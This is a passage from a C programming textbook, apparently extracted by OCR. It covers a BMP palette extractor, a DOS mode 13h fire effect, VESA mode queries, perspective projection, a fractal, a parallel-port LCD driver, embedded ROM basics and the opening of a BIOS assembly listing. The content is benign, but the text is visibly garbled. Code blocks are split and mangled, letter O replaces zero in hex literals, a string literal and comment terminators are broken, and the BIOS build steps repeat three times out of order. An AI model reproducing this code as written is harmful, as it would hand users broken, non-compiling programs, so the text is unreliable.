    fprintf( pfp, "/* Palette file created with PAL */\n"
            "/* File name: %s */\n"
                                "BYTE pal[768] = { ", argv[2]
        );
```

```
    fread( header, sizeof( BITMAPFILEHEADER ), 1, bfp );
    fread( info, sizeof( BITMAPINFOHEADER ), 1, bfp );
    if ( header->bfType != BM_TYPE )
        printf( "%s is not a bmp!\n\a", argv[1]);
        else
            {
            /* We only handle 256 color types with this code! */
            if ( info->biPlanes == 1 && info->biBitCount == 8 )
                    {
                    num_col = info->biClrUsed ? info->biClrUsed : 256;
                    for ( i=0; i < num_col-1; ++i )
                    {
                            fread( rgb, sizeof( RGBQUAD ), 1, bfp );
                            if ( i%4 == 0 )
                                fprintf( pfp, "\n\t\t %d, %d, %d,", rgb->rgbRed>>2,
                        rgb->rgbGreen>>2, rgb->rgbBlue>>2 );
                        else
                            fprintf( pfp, "\t%d, %d, %d,", rgb->rgbRed>>2,
                                    rgb->rgbGreen>>2, rgb->rgbBlue>>2 );
                    }
                    fread( rgb, sizeof( RGBQUAD ), 1, bfp );
                    fprintf( pfp, "\t%d, %d, %d\n\t};\n", rgb->rgbRed>>2,
                        rgb->rgbGreen>>2, rgb->rgbBlue>>2 );
                    fprintf( pfp, "/*__EOF %s
```

$\qquad$

``` */",
                        argv[2] );
                    }
        else
                        printf("This code only does 256 color BMP's\n");
        }
    fcloseall( );
    return(0);
/*--main( ) -------**
```


### 34.1.2 Using PAL

In order to extract palette information (i.e., colors used by 'Fire'), run the above program as:

C:\WAR>PAL Fire.bmp Fire.pal
I've got the following palette file from the known Fire.bmp file:

```
/* Palette file created with PAL */
/* File name: fire.pal */
```

BYTE pal[768] = \{

$$
\begin{array}{llllllllll}
0, & 0, & 0, & 0, & 0, & 6, & 0, & 0, & 6, & 0, \\
0, & 0, & 8, & 0, & 0, & 8, & 0, & 0, & 9, & 0, \\
0, & 10,
\end{array}
$$




### 34.2 Fire Program

This program is actually a clone of Fire!.asm, a Turbo Assembler program written by Adam Hyde. Now, let's look into the logic of our fire program!

We have already created the palette file with our PAL utility. Thus we have avoided programming complexity. We need that palette file (Fire.pal) only at compile time. After creating EXE file, we no more require that palette file!

Like any other mode 13 h programs, first of all, we have to set up the palette registers with corresponding color values. For that, we have used functions InitializeMCGA( ) and SetUpPalette ( ). We use off-screen buffer called Buffer. This Buffer holds all pixel values. The size of the Buffer is $320 \times 104$. For 'fire' effect, we have to alter the pixel values present on the Buffer. And we must copy our Buffer to the Video RAM repeatedly. We copy a single row of the Buffer to two rows of Video RAM. You may find that our Buffer is $320 \times 104$ and not $320 \times 100$. The reason is that we don't need to alter the last 4 rows for 'fire' effect.

We have two important functions namely Random( ) and AveragePixels( ). First we create two bottom lines with random pixel values. Since we have only 256 colors, the random values should be between 0 and 255 . Using AveragePixels ( ) function, we alter the pixel values of Buffer. Then we copy our Buffer to Video RAM. We have to repeat this process until a key is pressed. If a key is pressed, we switch back to Text mode using TextMode ( ) function.

```
#include <dos.h>
```

```
#define BufferX (320L) /* Width of screen buffer */
#define BufferY (104L) /* Height of screen buffer */
```


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```
#define BufferLen (33280u) /* 320*104 */
#pragma inline
typedef unsigned int WORD;
typedef unsigned char BYTE;
BYTE Buffer[BufferLen]; /* The screen buffer */
WORD Seed = 0x3749; /* The seed value */
#include "fire.pal" /* palette, generated with PAL */
BYTE far *Video = MK_FP( 0xa000, Ou );
void InitializeMCGA( void )
{
    asm {
        MOV AH, 00H /* Set video mode */
        MOV AL, 13H /* Mode 13h */
        INT 10H /* We are now in 320x200x256 */
        }
} /*--InitializeMCGA( )------*/
void SetUpPalette( void )
{
    asm
                . }38
                MOV SI, OFFSET pal /* SI now points to the palette */
            MOV CX, 768 /* Prepare for 768 OUTs */
            MOV DX, 03C8H /* Palette WRITE register */
            XOR AL, AL /* Start at color 0 */
            CLI /* Disable interrupts */
            OUT DX, AL /* Send value */
            CLD /* Forward direction */
            INC DX /* Now use palette DATA register */
            REP OUTSB /* 768 multiple OUTs */
            STI /* Enable interrupts */
            }
} /*--SetUpPalette( )--------*/
BYTE Random( void )
{
    asm {
        MOV AX, Seed /* Move the seed value into AX */
        MOV DX, 8405H /* Move 8405H into DX */
        MUL DX /* Put 8405H x Seed into DX:AX */
        INC AX /* Increment AX */
        MOV Seed, AX /* We have a new seed */
```

        }
    return( __DL );
    } /*--Random( )---------*/
void AveragePixels( void )
{
long i;
for ( i = 320; i < BufferX*BufferY-BufferX ; ++i )
{
Buffer[i-BufferX] = ( Buffer[i] + Buffer[i+1] + Buffer[i-1] +
Buffer[i+BufferX] ) / 4;
if ( Buffer[i-BufferX]!=0 )
Buffer[i-BufferX] -= 1;
}
} /*--AveragePixels( ) -------*/
void TextMode( void )
{
asm {
MOV AH, OOH /* Set video mode */
MOV AL, 03H /* Mode 03h */
INT 10H /* Enter 80x25x16 mode */
}
} /*--TextMode( ) ----------**
int main( void )
{
unsigned long i, j, k;
InitializeMCGA( );
SetUpPalette( );
while( !kbhit( ) )
{
AveragePixels( );
for ( i = BufferX*BufferY - 2*BufferX; i < BufferX*BufferY; ++i )
Buffer[i] = Random( );
for( i=k=0; k<BufferY-4; ++k, i+=320 )
for( j=0 ; j<320; ++i, ++j )
{
Video[i] = Buffer[320*k+j];
Video[i+320] = Buffer[320*k+j];
}
}
TextMode( );
return(0);
} /*--main( )---------* /

```

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\section*{Exercises}
1. Replace the values of palette buffer pal[768] found at the palette file (Fire.pal) with some random values. Now, execute the program. Observe the effect.
2. Write a program that generates 'whirlpool' or 'lake' effect.
3. Write a program that simulates 'waving Indian Tricolor flag'.

\section*{Suggested Projects}
1. Write a DOS based screen saver. (Hint: Use TSR concepts!)

\section*{35} "Have courage, and be strong."

\section*{VESA Programming}

VESA (Video Electronics Standards Association) is a non-profit organization established to standardize a common software interface to Super VGA video adapters. When IBM ruled the PC world, it came up with its own standard SVGA and BIOS extensions. Few other vendors followed IBM's standard and others introduced their own standards. So it necessitates the need for standardizing the interface or BIOS to Super VGA video adapters. VESA suggests all vendors to use their standard for VGA BIOS extensions. It believes that soon its standard will be set as a standard for all vendors.

\subsection*{35.1 Secrets}

VESA programming is also sometimes referred as SVGA programming. According to the documentations all windows based systems might have SVGA cards to provide better resolution and more color. Even though VESA standard is introduced to reduce the burden of programming complexity, programmers still face problem with VESA programming. One of the major problems with VESA programming is compatibility. Few people say mode 98h is the standard VESA mode and other say mode \(101 \mathrm{~h} \&\) mode 103 h are the standard modes! Another problem is we must use interrupts to detect the modes supported by that particular SVGA card. So we cannot have a single procedure, we must have different procedures for each mode! VESA people are standardizing the existing VESA standards and come out with different versions. At present we have VESA3.0. Thus VESA standard is not much standardized and people still go for mode 13 h !

\subsection*{35.2 Program}

The following program shows how to program for VESA. This is a pretty good example.
```

\#include <dos.h>
typedef int WORD;
typedef char BYTE;
typedef struct tagVGAINFOBLOCK
{
BYTE VESASignature[4]; //'VESA' signature bytes
WORD VESAVersion; // VESA version number
char far* OEMStringPtr; // Pointer to OEM string
BYTE Capabilities[4]; // capabilities of the video environment
char far* VideoModePtr; // pointer to supported Super VGA modes
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```

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```

        WORD TotalMemory; // Number of 64kb memory blocks on board
        BYTE Reserved[236]; // Remainder of VgaInfoBlock
    } VGAINFOBLOCK;
typedef struct tagMODEINFOBLOCK
{
// mandatory information
WORD ModeAttributes; // mode attributes
BYTE WinAAttributes; // window A attributes
BYTE WinBAttributes; // window B attributes
WORD WinGranularity; // window granularity
WORD WinSize; // window size
WORD WinASegment; // window A start segment
WORD WinBSegment; // window B start segment
char far* WinFuncPtr; // pointer to windor function
WORD BytesPerScanLine; // bytes per scan line
// formerly optional information (now mandatory)
WORD XResolution; // horizontal resolution
WORD YResolution; // vertical resolution
BYTE XCharSize; // character cell width
BYTE YCharSize; // character cell height
BYTE NumberOfPlanes; // number of memory planes
BYTE BitsPerPixel; // bits per pixel
BYTE NumberOfBanks; // number of banks
BYTE MemoryModel; // memory model type
BYTE BankSize; // bank size in kb
BYTE NumberOfImagePages; // number of images
BYTE Reserved1; // reserved for page function
// new Direct Color fields
BYTE RedMaskSize; // size of direct color red mask in bits
BYTE RedFieldPosition; // bit position of LSB of red mask
BYTE GreenMaskSize; // size of direct color green mask in bits
BYTE GreenFieldPosition; // bit position of LSB of green mask
BYTE BlueMaskSize; // size of direct color blue mask in bits
BYTE BlueFieldPosition; // bit position of LSB of blue mask
BYTE RsvdMaskSize; // size of direct color reserved mask in bits
BYTE DirectColorModeInfo; // Direct Color mode attributes
BYTE Reserved2[216]; // remainder of ModeInfoBlock
} MODEINFOBLOCK;
VGAINFOBLOCK vgainfoblk, *ptr=\&vgainfoblk;

```
```

void PutPixel( int x, int y, int color )

```
void PutPixel( int x, int y, int color )
{
{
    char far *scr = (char far*)0xA0000000;
    char far *scr = (char far*)0xA0000000;
    long temp = 0L+ 640*y + x;
    long temp = 0L+ 640*y + x;
    *(scr + temp) = color;
```

    *(scr + temp) = color;
    ```
```

} /*--PutPixel( )-------*/
int GetVGAInfo( VGAINFOBLOCK *vptr )
{
unsigned temp;
asm{
MOV AH, 4fh;
MOV AL, OOh;
}
temp = FP_SEG( vptr );
asm MOV ES, temp;
temp = FP_OFF( vptr );
asm{
MOV DI, temp;
INT 1Oh;
}
return( _AX );
} /*--GetVGAInfo( )-----------* /
int GetModeInfo( int mode, MODEINFOBLOCK *mptr )
{
unsigned temp;
asm{
MOV AH, 4fh;
MOV AL, 01h;
}
temp = FP_SEG( mptr );
asm MOV ES, temp;
temp = FP_OFF( mptr );
asm{
MOV DI, temp;
MOV CX, mode;
INT 10h;
}
return( _AX );
} /*--GetModeInfo( )---------*/
int GetCurrentMode( void )
{
asm{
MOV AX, 4FO3h;
INT 10h;
}
return(_BX);
} /*--GetCurrentMode( ) --------*/
int SetSVGAMode( int mode )

```

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```

{
asm{
MOV AX, 4FO2h;
MOV BX, mode;
INT 10h;
}
return( _AX );
} /*--SetSVGAMode( ) ----------*/
void DemoDraw( void )
{
int i, j;
/* Draw some image on the screen */
for ( j=0 ; j<100; ++j )
for (i=0;i<256; ++i )
PutPixel( i,j, i );
} /*--DemoDraw( ) -----*/
int main( void )
{
VGAINFOBLOCK vgainfoblk, *vptr=\&vgainfoblk;
MODEINFOBLOCK modeinfoblk, *mptr=\&modeinfoblk;
int status, oldmode;
const int mode = 0x0101; // choose your VESA mode
oldmode = GetCurrentMode( );
printf( "Current Mode = %Xh \n", oldmode );
/* if VESA status = 004f, success \& supported */
printf( "VESA status = %X \n", GetVGAInfo( vptr ) );
/* Print the information about our VESA */
printf( "VESASignature = %s \n", vptr->VESASignature );
printf( "VESAVersion = %X \n", vptr->VESAVersion );
printf( "OEMStringPtr = %s \n", vptr->OEMStringPtr );
printf( "Capabilities:" );
if ( vptr->Capabilities[3] \& 0x1 )
printf( " DAC width is switchable \n" );
else
printf( " DAC is fixed width, with 6-bits per primary color \n" );
printf( "TotalMemory = %d X 64kb \n", vptr->TotalMemory );
getch( );
status = GetModeInfo( mode, mptr );
/* Print the information about the requested mode */
printf( "mode = %xh\n", mode );
printf( "~~~~~~~~~~~\n" );

```
```

if ( status==0x004f ) /* success \& function supported */
{
printf( "ModeAttributes = %d\n", mptr->ModeAttributes );
printf( "WinAAttributes = %d\n", mptr->WinAAttributes );
printf( "WinBAttributes = %d\n", mptr->WinBAttributes );
printf( "WinGranularity = %d\n", mptr->WinGranularity );
printf( "WinSize = %d\n", mptr->WinSize );
printf( "WinASegment = %d\n", mptr->WinASegment );
printf( "WinBSegment = %d\n", mptr->WinBSegment );
printf( "WinFuncPtr = %s\n", mptr->WinFuncPtr );
printf( "BytesPerScanLine = %d\n", mptr->BytesPerScanLine );
printf( "XResolution = %d\n", mptr->XResolution );
printf( "YResolution = %d\n", mptr->YResolution );
printf( "XCharSize = %d\n", mptr->XCharSize );
printf( "YCharSize = %d\n", mptr->YCharSize );
printf( "NumberOfPlanes = %d\n", mptr->NumberOfPlanes );
printf( "BitsPerPixel = %d\n", mptr->BitsPerPixel );
printf( "NumberOfBanks = %d\n", mptr->NumberOfBanks );
printf( "MemoryModel = %d\n", mptr->MemoryModel );
printf( "BankSize = %d\n", mptr->BankSize );
printf( "NumberOfImagePages = %d\n", mptr->NumberOfImagePages );
printf( "Reserved1 = %d\n", mptr->Reserved1 );
printf( "RedMaskSize = %d\n", mptr->RedMaskSize );
printf( " Continued...\n" );
getch( );
printf( "RedFieldPosition = %d\n", mptr->RedFieldPosition );
printf( "GreenMaskSize = %d\n", mptr->GreenMaskSize );
printf( "GreenFieldPosition = %d\n", mptr->GreenFieldPosition );
printf( "BlueMaskSize = %d\n", mptr->BlueMaskSize );
printf( "BlueFieldPosition = %d\n", mptr->BlueFieldPosition );
printf( "RsvdMaskSize = %d\n", mptr->RsvdMaskSize );
printf( "DirectColorModeInfo = %d\n", mptr->DirectColorModeInfo );
printf( "--------end----\n" );
printf( "switch to mode %Xh....\n", mode );
getch( );
/* Now set to requested mode */
status = SetSVGAMode( mode );
if ( status!=0x004F )
printf( "Error code = %xh \n", status );
else
{
DemoDraw( );
getch( );

```

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```

                        SetSVGAMode( oldmode );
                                }
        }
    return(0);
    } /*--main( )---------**/

```

\section*{3 6} "Anyone who loves learning accepts correction." 3D Graphics

In graphics, we use so many techniques to represent 3 D images on a computer screen, which is supposed to be a 2D plane. One of such techniques is called as "depth cueing" and we used this technique in "VB Controls". Another well-known technique is "perspective projection". This technique is widely used in 3D games and many other 3D applications. In this chapter, let's see perspective projection!

\subsection*{36.1 Perspective Projection}

The idea of perspective projection is that we have to convert a point in 3D plane to 2 D plane. That is, if we have a point \(\mathrm{A}(\mathrm{x}, \mathrm{y}, \mathrm{z})\), we have to represent this point as \(\mathrm{A}^{\prime}\left(\mathrm{x}^{\prime}, \mathrm{y}^{\prime}\right)\) omitting Z coordinate. To do this, we have to use the formula
\[
\begin{aligned}
& X^{\prime}=\frac{X * \text { distance }}{Z+\text { distance }} \\
& Y^{\prime}=\frac{Y * \text { distance }}{Z+\text { distance }}
\end{aligned}
\]

These equations may look easy. But these equations are not even available in so called gem-books for graphics.

\subsection*{36.2 3D Rectangle}

Here I present you a small program that plots a 3D Rectangle in 2D plane.
```

\#include <graphics.h>
\#define distance (20) /* your choice */
typedef struct
{
int x, y;
} COORD_2D;

```

\section*{240 A to \(Z\) of \(C\)}
```

    {
        int x, y, z;
    } COORD_3D;
    void Draw2DRectangle( COORD_2D *pts )
{
int i;
for( i=0 ; i<4-1 ; ++i )
line( pts[i].x, pts[i].y, pts[i+1].x, pts[i+1].y );
line( pts[0].x, pts[0].y, pts[3].x, pts[3].y );
} /*--Draw2DRectangle( )----------*/
/* converts given 3D coordinates to 2D coordinates */
void Perspective3Dto2D( COORD_2D *pts2d, COORD_3D *pts3d, int n )
{
int i;
for ( i=0; i<n ; ++i )
{
pts2d[i].x = (pts3d[i].x*distance) / (pts3d[i].z + distance);
pts2d[i].y = (pts3d[i].y*distance) / (pts3d[i].z + distance);
}
} /*--Perspective3Dto2D( ) ---------*/
int main( void )
{
int gdriver = VGA, gmode = VGAHI;
COORD_3D pts3d[4];
COORD_2D pts2d[4];
initgraph( \&gdriver, \&gmode, "d:<br>tc<br>bgi" );
/* Our 3D rectangle's coordinates */
pts3d[0].x = 200; pts3d[0].y = 220; pts3d[0].z = 15;
pts3d[1].x = 500; pts3d[1].y = 220; pts3d[1].z = 5;
pts3d[2].x = 500; pts3d[2].y = 450; pts3d[2].z = 5;
pts3d[3].x = 200; pts3d[3].y = 450; pts3d[3].z = 15;
Perspective3Dto2D( pts2d, pts3d, 4 );
Draw2DRectangle( pts2d );
getch( );
closegraph( );
return(0);
} /*--main( ) -----------*/

```

\section*{Suggested Projects}
1. Develop a CAD software.
2. Write a software that implements wire frame model.

\section*{37 \\ Fractal} "It's better to go to a funeral than to attend a feast"

In recent times, Fractal is quite popular among Graphics Programmers. So graphics programming won't be complete without dealing fractals. In this chapter let's see this fractal technique.

\subsection*{37.1 Prelude}

Fractal geometry was actually introduced by Benoit B. Mandelbrot, a fellow of the Thomas J. Watson Research Center, IBM Corporation. Mandelbrot coined the word fractal from the Latin


A Simple Fractal word frangere, which means, "to break". Actually, a fractal object is constructed from simple objects. Each part of the image will give you the overall structure. We, programmers view fractals as recursively generated geometric patterns. In this figure each part of fractal can be viewed as a circle.

\subsection*{37.2 Program}

The following recursive program generates a fractal. I hope, from that you can come out with more fractals!
```

\#include <graphics.h>
void MyFractal( int x, int y, int radius, int color )
{
int i;
if ( radius>0 )
{
MyFractal( x+radius, y+radius, radius/3, LIGHTBLUE );
MyFractal( x-radius, y+radius, radius/3, YELLOW );
MyFractal( x+radius, y-radius, radius/3, LIGHTGREEN );
MyFractal( x-radius, y-radius, radius/3, LIGHTRED );
MyFractal( x, y+radius, radius/3, WHITE );
MyFractal( x-radius, y, radius/3, LIGHTBLUE );
MyFractal( x, y-radius, radius/3, YELLOW );
MyFractal( x+radius, y, radius/3, LIGHTGREEN );
setcolor( color );
circle( x, y, radius );
}
} /*--MyFractal( )--------*/

```

\section*{242 A to Z of C}
```

int main( void )
{
int gdriver = VGA, gmode = VGAHI;
initgraph( \&gdriver, \&gmode, "d:<br>tc<br>bgi" );
MyFractal( 320, 240, 150, WHITE );
getch( );
closegraph( );
return(0);
} /*--main( )-----------*/

```

\section*{Part IV}

\section*{Advanced Programming}

\section*{Albert Einstein, 1879-1955}

Einstein was born in Ulm in a German Jewish family with liberal ideas. Although he did show early signs of brilliance, he did not do well in school. He especially disliked German teaching methods... Einstein burst upon the scientific scene in 1905 with his theory of special relativity.

Courtesy: For all Practical purposes-Introduction to Contemporary Mathematics (ISBN 0-7167-1830-8)

\section*{38 "When times are bad, think what it means." \\ Game Programming}

Game programming involves both graphics programming and intellectual programming. Only few people prefer game programming as it seems to be tough.

\subsection*{38.1 Graphics Mode}

To present your game in a pleasant form, you need to know about Graphics. Usually Game programmers prefer mode 13 h , as it is faster. We have already seen about mode 13 h programming. Game programmers use certain jargons related to graphics like "clipping", "flipping", etc. You may also need to know these jargons for game programming.

\subsection*{38.2 Logic}

It is advisable to develop a game's outline or graphics output from its logic. Many people often build game from graphics outline than from logic. It is a wrong practice. First of all your game must be unique and should use faster algorithms. Your game should technically sound good.

\subsection*{38.3 Alexander Russell's Guide}

Alexander Russell is one of the world's well-known authorities in Game Programming. His tutorial, which comprises of seven chapters titled Alex Russell's Dos Game Programming in C for Beginners, is available on \(C D\). If you want to develop yourself further on Game Programming, don't hesitate to look into CD. Alexander Russell is kind enough and granted permission for using his valuable sources with \(\mathbf{A}\) to \(\mathbf{Z}\) of \(\mathbf{C}\). Many thanks to Mr. Alexander Russell. He can be reached at http://www3.telus.net/alexander_russell/

Following are the contents of Alexander Russell's guide.

\section*{Chapter 1}
- Quick overview of c
- pointers
- structs
- functions
- dynamic memory allocation
- include files
- file i/o

\section*{246 A to Z of C}
- memory models, why we will use medium
- global variables, and other evils
- Entering mode 13 h , via int86
- mode13h details
- saving and restoring old video mode

\section*{Chapter 2}
- Double buffering vs. page flipping, and syncing to vertical retrace
- Graphic primitives
- dots/pixels
- horizontal lines
- vertical lines
- arbitrary lines
- filled rectangles

\section*{Chapter 2.1}
- More graphic primitives
- solid sprites
- transparent sprites
- RLE transparent sprites
- restoring backgrounds
- graphic text
- Loading images from drawing programs

\section*{Chapter 3}
- Animation
- bouncing pixel on black
- bouncing sprite on black
- bouncing sprite on fancy background
- multiple bouncing sprites

\section*{Chapter 4}
- i/o
- keyboard
- mouse
- joystick
- combining all user input in one event queue

\section*{Chapter 5}
- Collision detection
- rectangles only
- Colour management
- colour cycling
- reserved colours for common elements
- dynamic colours for various parts of a game
- Timing a game, and game design
- * separating drawing from logic *
- the PC timer
- too slow
- too fast

\section*{Chapter 6}
- Games
- Break Out
- simple animation
- collision detection
- player control

\section*{Suggested Projects}
1. Develop a Chess software.
2. Develop a Quake4 game.

\section*{39 "Don't be afraid to invest. Someday it will pay off." \\ I nterfacing}

Interfacing refers to connecting our PC with some external devices. Interfacing got so many applications. In parcel service companies, weight gauge is been connected to the PC and so the billing process becomes simple. Otherwise, we have to find the weight separately... we have to enter the weight in the billing software... and then only it will produce the bill. In this chapter let us see a simple interfacing example.

\subsection*{39.1 Interfacing LCD with parallel port}

This is one of the elementary programs tried by beginners of this field. Here we interface the 2 Line X 16 Character display LCD with the parallel port. Parallel port is the one in which we would connect our printer. I hope 2 Line X 16 Character display LCD is affordable. Here our ultimate objective is to send a message from our C program to LCD via parallel port so that our message appears on the LCD display.

\subsection*{39.1.1 Circuit Diagrams}

2 Line X 16 Character LCD display can be available from an electronic shop. The following diagram shows the pin numbers of a typical 2 Line X 16 Character LCD display.


Now you may need to know how to connect the LCD with the parallel port. The following diagram explains this.


\subsection*{39.1.2 Logic}

You can see there are 14 pins in the LCD chip and 25 pins in the parallel port. As control port is an open collector/drain output, we connect it with LCD chip's Enable (E) and Register Select (RS) lines. We have added two 10 K registers for safety measures. We just want to output (i.e., write) our message on the LCD. So we force the Read/Write(R/W) line to Write Mode. The contrast of the LCD display can be adjusted with the 10 K potentiometer.

\subsection*{39.1.3 Program}
```

\#include <dos.h>
\#include <string.h>
\#define PORTID (0x378) /* Port Address */
\#define DATA (PORTID+0)
\#define STATUS (PORTID+1)
\#define CONTROL (PORTID+2)
int main( void )
{
char msg[ ] = { "Hello world!
"A to Z of C " };
char init[10];
int i;
init[0] = 0x0F; /* Initialize LCD Display */
init[1] = 0x01; /* Clear LCD Display */

## 250 A to $Z$ of C

```
    init[2] = 0x38; /* Dual Line / 8 Bits */
    /* Reset Control Port - for Forward Direction */
    outportb( CONTROL, inportb( CONTROL ) & OxDF );
    /* Set Select Printer (RS) */
    outportb( CONTROL, inportb( CONTROL ) | 0x08 );
    /* Initialize LCD... */
    for ( i = 0; i < 3; ++i )
        {
            outportb( DATA, init[i] );
            /* Set Strobe (Enable)*/
            outportb( CONTROL, inportb( CONTROL ) | 0x01 );
            /* Delay */
            delay( 20 );
            /* Reset Strobe (Enable)*/
            outportb( CONTROL, inportb( CONTROL ) & OxFE);
            /* Delay */
            delay(20);
        }
    /* Reset Select Printer (Register Select) */
outportb( CONTROL, inportb( CONTROL ) & 0xF7 );
    /* Now display the message... */
for ( i=0; i<strlen(msg); ++i )
    {
        outportb( DATA, msg[i]);
            /* Set Strobe */
            outportb( CONTROL, inportb( CONTROL ) | 0x01 );
            delay(2);
            /* Reset Strobe */
            outportb( CONTROL, inportb( CONTROL ) & OxFE );
            delay(2);
        }
    return(0);
} /*--main( )---------*/
```

In order to make our LCD panel work, first we have to initialize it. We can initialize it by sending the instructions: initialize LCD, clear LCD \& dual Line. After initializing the LCD, we are supposed to clear the bit 3 of Control port. We did it by using

```
outportb(CONTROL, inportb(CONTROL) & 0xF7);
```

Then we sent our message to the LCD display using a for loop. If you have done everything well, you can see our message "Hello world! A to Z of C on the LCD display.

## Suggested Projects

1. Write an Image Scanner program.
2. Activate a remote control toy car from keyboard.
3. Develop a new inputting device for your game (say, your own steering). Use it to play your game or existing games.

"Charm can be deceiving, and beauty fades away."

## Embedded Systems

Our useful programs can be "embedded" in chips. These chips can be used in creating different electronic devices. So programming for embedded systems is considered to be one of the interesting topics for the people who are from Electronics background.

### 40.1 PROM

Our program can be embedded in PROM (Programmable ROM) category ROM. PROMs are usually available in sizes 1 KB to about 2 MB . It is identified by part number. Usually PROM's part number will be 27 xxxx , where 27 denotes TL type PROM, xxxx denotes size in Kilo bits. For example, the widely used PROM got part number 27512, which indicates that the size is 512 K bits, or 64 KB . The blank PROM is the one, which is preloaded with 1's (not 0's). The 1's of PROM corresponds to the fuses present in it. So if you burn the fuse, it represents 0 . And so programming ROM is very often referred as burning. This burning is achieved with a hardware device known as Device Programmer. Device Programmer is also referred as PROM burner or PROM programmer. The term "Programmer" in "PROM programmer" refers to


PROM burner or PROM programmer hardware device, not a person! PROM Programmer helps us to embed our program in the PROM chip. PROMs are OTP (One Time Programmable). Programmed or burned PROMS are widely used in electronic devices like billing machines, washing machines, cell phones, etc.

### 40.2 EPROM

An Erasable PROM or EPROM is available with the same part numbering scheme of PROM. EPROM has a clear quartz crystal window for allowing UV rays to erase the contents. The UV rays erase the chip by a chemical reaction that melts the fuses back together. EPROM chips should be handled with care as
 sunlight has UV rays.

### 40.3 EEPROM

Electronically Erasable PROM or EEPROM is a kind of EPROM that doesn't require UV rays for erasing the contents. Instead it uses electricity for erasing. Nowadays we have Flash

ROMs. Flash ROM is a type of EEPROM, which can be programmed without removing it from the system and without any special devices.

### 40.4 Programming for Embedded Systems

On our nornal PC, the boot sector contains code to load the rest of the OS using the BIOS which is in ROM and always available. In embedded systems, we burn the BIOS and OS in ROM in addition to our program. The reboot vector of embedded systems usually points to the BIOS initialization routines that are also embedded in the chip. Many embedded systems make use of an embedded operating system like QNX, VxWorks, Linux and rarely DOS. In this case our program gets advanced features such as device drivers and operating systems constructs built in to it and we don't have to write such code ourself.

In embedded systems, it is sometimes necessary not to have an Operating System or BIOS. In other words, we are in need of "stand alone" programs. "Stand alone" programs are the one, which don't use Operating System or BIOS. For stand alone programs, we burn a chip with reboot vector pointing to the code we want to run instead of the BIOS initialization routines. If we want to write such a stand alone program in Turbo C, we have to modify the startup routines, because these routines are dependent on the DOS and they load libraries that are dependent on DOS. Thus making a C program embeddable (i.e., ROMable) in a standalone manner requires all dependencies on DOS be removed.

We cannot embed all our programs in the chip. Only ROMable codes can be embedded which means we need a specialized code. Certainly we cannot use relocatable (or ordinary EXE) codes. In embedded system programming, we use void for main( ) as void main( ), because there is no place for the code to get returned.

### 40.5 Locate utility

Locate is the utility that written by Mark R. Nelson found on CD. It helps us to remove relocations in EXE files and does other functions that are necessary for a ROMable code. It helps us to produce ROMable code without any overhead.

### 40.6 ROMable Code

As I pointed out earlier, only ROMable code can be embedded. Since this topic will be useful and interesting only to the people from Electronics background, I don't want to harp more in this topic. If you want to know more about this topic, please refer the programs found on CD

### 40.7 Applications

Programming ROM has so many applications including the creation of chips used in washing machine, creation of chips used in cars for monitoring the performance etc.

## 41 "Merely the thought of our favorite food makes our stomachs sick." <br> Writing BIOS

BIOS (Basic Input Output System) is the one, which makes computer's components working together. BIOS are hence system specific. In this chapter, let's see how to write our own BIOS code.

### 41.1 BIOS Code

I have already told you that most of the programmers prefer Assembly language than C for writing system programs. Following is a demo code for BIOS. It can be used in EPROM. The source code runs up to about 60 pages. So please don't lose your patience! I strongly recommend you to go through the source code, because by reading this code you would gain a thorough knowledge about interrupts. The program is well commented and so you can easily grab the logic in each step. The code is by an unknown author. I don't know why this brainy author didn't include his name in the code! Many thanks to the author.

```
Page 80,132
Title BIOS-For Intel 8088 or NEC "V20" turbo motherboards. Use MASM 4.0
;
; This bios will work on IBM-PC/xt and many other compatibles
that share a similar design concept.
; You do not need to have a turbo motherboard to
use this bios, but if you do, then use the following key sequence
                                    CTRL ALT -
to toggle the computer speed between fast and slow (=IBM compatible)
This BIOS can produce the following error messages at IPL time
;
ER_BIOS equ 01h ; Bad ROM bios checksum, patch last byte
ER_RAM equ 02h ; Bad RAM in main memory, replace
ER_CRT equ 04h ; Bad RAM in video card, replace
ER_MEM equ 10h ; Bad RAM in vector area, replace
ER_ROM equ 20h ; Bad ROM in expansion area, bad checksum
;
; The last two bytes have to be patched with DEBUG as follows
;
; FFFF 00.xx ( avoid ER_BIOS on bootstrap ) ----------------------
; FFFE OO.FE ( leaves IBM-PC/xt signature )
```


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```
where "xx" results in a zero checksum for the whole
```

where "xx" results in a zero checksum for the whole

```
where "xx" results in a zero checksum for the whole
                                    BIOS rom, for ex
                                    BIOS rom, for ex
                                    BIOS rom, for ex
                                    masm BIOS; ( Assemble BIOS source code)
                                    masm BIOS; ( Assemble BIOS source code)
                                    masm BIOS; ( Assemble BIOS source code)
                                    link BIOS; ( Link the BIOS object code)
                                    link BIOS; ( Link the BIOS object code)
                                    link BIOS; ( Link the BIOS object code)
                                    debug BIOS.EXE ( Exe2bin BIOS binary code)
                                    debug BIOS.EXE ( Exe2bin BIOS binary code)
                                    debug BIOS.EXE ( Exe2bin BIOS binary code)
                -nBIOS.BIN ( Name of the output binary)
                -nBIOS.BIN ( Name of the output binary)
                -nBIOS.BIN ( Name of the output binary)
                -eCS:FFFE ( Opens BIOS signature byte)
                -eCS:FFFE ( Opens BIOS signature byte)
                -eCS:FFFE ( Opens BIOS signature byte)
                    .FE ( Leave IBM-PC/xt signature) <--
                    .FE ( Leave IBM-PC/xt signature) <--
                    .FE ( Leave IBM-PC/xt signature) <--
                    -eCS:FFFF ( Opens BIOS checksum byte)
                    -eCS:FFFF ( Opens BIOS checksum byte)
                    -eCS:FFFF ( Opens BIOS checksum byte)
.DC ( Force ROM checksum = zero) <-----
.DC ( Force ROM checksum = zero) <-----
.DC ( Force ROM checksum = zero) <-----
                            ( Force ROM checksum = zero) <-----
                            ( Force ROM checksum = zero) <-----
                            ( Force ROM checksum = zero) <-----
                            -rBX ( Opens hi order byte count)
                            -rBX ( Opens hi order byte count)
                            -rBX ( Opens hi order byte count)
:0
:0
:0
-rCX
-rCX
-rCX
:2000
:2000
:2000
-wCS:E000
-wCS:E000
-wCS:E000
-q
-q
                    ( ... must be 0 bytes long)
                    ( ... must be 0 bytes long)
                    ( ... must be 0 bytes long)
                            ( Opens lo order byte count)
                            ( Opens lo order byte count)
                            ( Opens lo order byte count)
                            ( ... BIOS 2000 bytes long)
                            ( ... BIOS 2000 bytes long)
                            ( ... BIOS 2000 bytes long)
                            ( Output to BIOS.BIN file)
                            ( Output to BIOS.BIN file)
                            ( Output to BIOS.BIN file)
; ; -------> .DC
; ; -------> .DC
; ; -------> .DC
; ;
; ;
;; You must correct the checksum by manually patching the last byte so
;; You must correct the checksum by manually patching the last byte so
